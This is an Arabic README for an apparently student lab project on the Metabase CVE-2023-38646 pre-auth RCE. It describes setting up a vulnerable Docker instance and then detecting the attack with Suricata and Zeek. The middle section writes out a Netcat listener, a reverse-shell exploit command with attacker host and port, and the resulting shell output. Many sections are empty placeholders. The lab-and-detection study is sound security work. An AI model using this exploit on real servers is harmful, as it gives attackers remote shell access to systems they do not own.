
CVE-2023-38646
يوثّق هذا المستودع مشروع بحث أمني لإثبات المفهوم (PoC) يحلّل CVE-2023-38646، وهي ثغرة حرجة لـتنفيذ الأكواد عن بُعد (RCE) قبل المصادقة، تؤثر على الإصدارات المعرّضة للخطر من Metabase.
الهدف من هذا المشروع هو إظهار دورة الحياة الكاملة لثغرة واقعية، بما في ذلك:
صُمم هذا المستودع لعرض مهارات عملية في:
CVE-2023-38646 هي ثغرة حرجة تؤثر على إصدارات معينة من Metabase، وهي منصة مفتوحة المصدر لذكاء الأعمال والتحليلات.
تتيح هذه الثغرة للمهاجم تحقيق تنفيذ أكواد عن بُعد دون مصادقة عبر استغلال نقاط ضعف في عملية الإعداد أو التكوين الخاصة بالتطبيق.
التفاصيل الرئيسية:
يمكّن الاستغلال الناجح المهاجم من:
المراجع الرسمية:
يجمع هذا المشروع بين أدوات الأمن الهجومية وأدوات المراقبة الدفاعية.
عنصر نائب — صِف إعداد مختبرك
مثال:
flowchart LR
A[Attacker] --> B[Vulnerable Metabase Instance]
B --> C[CVE-2023-38646 Exploit]
C --> D[Remote Code Execution]
D --> E[Reverse Shell Established]
E --> F[Command Execution on Target]
يوضح هذا المخطط التدفق العام للهجوم المستخدم في هذا المشروع.
تثبيت Docker وإعداده:
sudo apt update
sudo apt upgrade -y
sudo apt install docker.io -y
sudo systemctl start docker
sudo systemctl enable docker
sudo docker run hello-world
بدء تشغيل Docker:
تم نشر مثيل Metabase Enterprise معرّض للخطر (v1.44.0) باستخدام Docker.
sudo docker run -d -p 3000:3000 --name metabase-enterprise metabase/metabase-enterprise:v1.44.0
يُتيح هذا الوصول إلى الواجهة الإلكترونية الخاصة بـ Metabase على المنفذ 3000، مما يسمح بالوصول إلى صفحة الإعداد.
إذا كان Docker يعمل بالفعل، فنفّذ سطور الأوامر التالية للبدء من جديد:
sudo docker stop metabase-enterprise
sudo docker rm metabase-enterprise
عنصر نائب لإعداد Docker
بمجرد تشغيل الحاوية، تصبح واجهة Metabase قابلة للوصول عبر المتصفح.
http://0.0.0.0:3000/setup -or- http://127.0.0.1:3000/setup
تؤكد صفحة الإعداد أن مثيل Metabase نشط وجاهز للتكوين.
BurpSuite
عنصر نائب للقطات الشاشة أو الشرح
قبل تشغيل الاستغلال، يتم بدء تشغيل مستمع Netcat على جهاز المهاجم لاستقبال اتصال القشرة العكسية.
nc -lvnp 6666
ينتظر هذا المستمع الاتصالات الواردة من خادم Metabase المستغَل.
عنصر نائب للقطات الشاشة أو الشرح
python3 CVE-2023-38646-Reverse-Shell.py \ ---> Exploit Name
--rhost http://192.168.1.136:3000 \ ---> Targer IP Address
--lhost 192.168.1.137 \ ---> Attacker's IP Address
--lport 6666 ---> Attacker's Listening Port
ينفّذ الحمولة أمرًا ينشئ قشرة عكسية عائدة إلى جهاز المهاجم.
يستقبل مستمع Netcat الاتصال، مما يمنح المهاجم وصولًا إلى قشرة النظام.
connect to [192.168.1.137] from 192.168.1.136
bash: cannot set terminal process group
bash: no job control in this shell
bash-5.1$
لتأكيد الاتصال بجهاز الضحية:
whoami
المخرجات:
connect to [192.168.1.137] from 192.168.1.136
bash: cannot set terminal process group
bash: no job control in this shell
bash-5.1$ whoami
whoami
metabase
bash-5.1$
يعرض هذا المشروع أيضًا كيفية اكتشاف نشاط الاستغلال باستخدام أدوات مراقبة الشبكة.
تم استخدام Suricata (IDS) لمراقبة حركة مرور الشبكة بحثًا عن أنماط مشبوهة مرتبطة بالاستغلال.
sudo suricata -i eth0
عنصر نائب: أدخل لقطة شاشة لتنبيه Suricata
evidence/detection/suricata_alert.png
لمراقبة التنبيهات في الوقت الفعلي، تمت متابعة سجلات Suricata باستخدام:
tail -f /var/log/suricata/fast.log
عنصر نائب: أدخل لقطة شاشة لسجل Suricata
evidence/detection/suricata_log.png
للنهج السلبي، تم استخدام سكربت إشعارات مخصص لتوليد تنبيهات على سطح المكتب كلما رصد Suricata حركة مرور مشبوهة.
nohup ./suricata-popup-alert.sh >/dev/null 2>&1 &
عند تنفيذ الاستغلال، ولّد Suricata تنبيهات تشير إلى نشاط مشبوه مرتبط بمحاولة استغلال Metabase.
عنصر نائب: أدخل لقطة شاشة لسجل Suricata
evidence/detection/suricata_noti.png
مثال:
عنصر نائب: أدخل لقطة شاشة لسجل Suricata
evidence/detection/suricata_noti.png
بالإضافة إلى مراقبة IDS، تم استخدام Zeek لتحليل حركة مرور الشبكة وتحديد السلوك الشاذ.
يتم بدء تشغيل Zeek باستخدام هذه الأوامر لبدء التقاط وتحليل حركة مرور الشبكة:
sudo /usr/local/zeek/bin/zeek -i eth0
عنصر نائب: أدخل لقطة شاشة لبدء تشغيل Zeek
evidence/detection/zeek.png
من خلال فحص سجلات الاتصالات، يمكن ملاحظة حركة مرور القشرة العكسية على المنفذ 6666.
192.168.1.136 → 192.168.1.137:6666
عنصر نائب: أدخل لقطة شاشة لسجل Zeek
evidence/detection/zeek_log.png
يمكن لعدة استراتيجيات تخفيف أن تقلل من خطر الاستغلال.
| الاستراتيجية | الوصف |
|---|---|
| إدارة التحديثات | ترقية Metabase إلى إصدار يعالج CVE-2023-38646 |
| جدار حماية تطبيقات الويب (ModSecurity) | تصفية طلبات HTTP الخبيثة |
| كشف التسلل على المضيف (OSSEC) | مراقبة سلوك النظام المشبوه |
cve-2023-38646-metabase-rce-research
│
├── exploit
│ └── metabase_reverse_shell.py
│
├── detection
│ ├── suricata
│ └── zeek
│
├── evidence
│ ├── exploitation
│ ├── detection
│ └── mitigation
│
├── docs
│ ├── report
│ └── presentation
│
└── demo
يعرض هذا المشروع دورة الحياة الكاملة لتحليل وإعادة إنتاج ثغرة حرجة واقعية.
يعرض إثبات المفهوم:
الهدف من هذا المستودع هو تقديم دراسة حالة تقنية توضح ممارسات الأمن السيبراني الهجومية والدفاعية معًا.
Styverson Ng
بكالوريوس تقنية المعلومات
الذكاء الاصطناعي والأنظمة الذاتية
الأمن السيبراني والأدلة الجنائية الرقمية
جامعة مردوخ
| مراقبة الشبكة (Suricata & Zeek) |
| كشف أنماط حركة المرور غير الطبيعية |